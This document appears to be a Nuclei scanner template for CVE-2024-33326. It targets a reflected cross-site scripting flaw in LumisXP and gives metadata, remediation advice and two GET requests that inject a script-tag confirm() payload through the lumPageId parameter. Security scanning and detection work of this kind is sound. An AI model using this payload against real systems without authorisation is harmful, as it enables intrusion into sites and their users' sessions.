id: CVE-2024-33326

info:
  name: LumisXP - Cross-site Scripting
  author: 0xr2r
  severity: medium
  description: |
    A cross-site scripting (XSS) vulnerability in the XsltResultControllerHtml.jsp component of LumisXP v15.0.x to v16.1.x allows attackers to execute arbitrary web scripts or HTML via the lumPageID parameter.
  impact: |
    Successful exploitation allows attackers to execute arbitrary JavaScript in the victim's browser, potentially leading to session hijacking, credential theft, or defacement.
  remediation: |
    Apply security patches or upgrade to a version that addresses this XSS vulnerability. Implement proper input validation and output encoding.
  reference:
    - https://gist.github.com/rodnt/51ae2897abfff1bdcedccf72edbf3d24
    - https://seclists.org/fulldisclosure/2024/Jul/10
    - https://nvd.nist.gov/vuln/detail/CVE-2024-33326
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2024-33326
    epss-score: 0.0081
    epss-percentile: 0.53361
    cwe-id: CWE-79
    cpe: cpe:2.3:a:lumis:lumis_experience_platform:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: lumis
    product: lumis_experience_platform
  tags: cve,cve2024,xss,lumis,lumisxp,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/portal/XsltResultControllerHtml.jsp?xslContent=&interfaceInstanceId=&lumPageId=<script>confirm(document.domain)</script>&xslContentFilePath="
      - "{{BaseURL}}/XsltResultControllerHtml.jsp?xslContent=&interfaceInstanceId=&lumPageId=<script>confirm(document.domain)</script>&xslContentFilePath="

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<script>confirm(document.domain)</script>")'
          - 'contains(content_type, "text/html") && contains(set_cookie, "lum")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502210086ed7c536e674356487da9c7d0c0416e4d887170e9e951a37af0accce51cf049022005b60893d2ddab25b1d6161c9f8be3e50512b093d58a36fb344e89741552a292:922c64590222798bb761d5b6d8e72950